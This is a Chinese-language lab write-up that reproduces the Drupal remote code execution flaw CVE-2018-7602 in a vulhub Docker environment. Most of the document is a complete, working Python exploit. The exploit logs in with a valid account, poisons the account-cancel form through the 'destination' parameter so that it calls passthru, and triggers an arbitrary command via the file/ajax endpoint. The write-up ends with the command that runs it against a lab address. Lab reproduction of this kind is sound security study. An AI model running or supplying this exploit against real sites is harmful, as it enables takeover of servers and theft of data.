Drupal 远程代码执行漏洞（CVE-2018-7602）

声明

好好学习，天天向上

漏洞描述

4月25日，Drupal官方发布通告，Drupal Core 存在一个远程代码执行漏洞，影响 7.x 和 8.x 版本。据分析，这个漏洞是CVE-2018-7600的绕过利用，两个漏洞原理是一样的，通告还称，已经发现了这个漏洞和CVE-2018-7600的在野利用

影响范围

Drupal 6.x，7.x，8.x

复现过程

这里使用7.57版本

使用vulhub

/app/vulhub-master/drupal/CVE-2018-7602

使用docker启动

docker-compose build
docker-compose up -d

启动后进入docker，需要改一些东西，不然安装不成功，进入docker后（默认在/var/www/html下），执行

mkdir sites/default/files
cp ./sites/default/default.settings.php ./sites/default/settings.php
chown -R www-data:www-data ../html/

访问，就不会报错了

http://192.168.239.129:8080

将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。

创建用户名和密码都为drupal

kali创建drupa7-CVE-2018-7602.py，内容如下

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")
  parser.add_argument("password", help="Password")
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  session = requests.Session()
  proxyConf = {'http': proxy, 'https': proxy}
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]
    if(user_id):
      print('[*] User ID found: ' + user_id)
    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value')
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

执行

python3 drupa7-CVE-2018-7602.py user 1qaz@WSX http://192.168.239.129:8081

成功执行

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash

关闭镜像（每次用完后关闭）

docker-compose down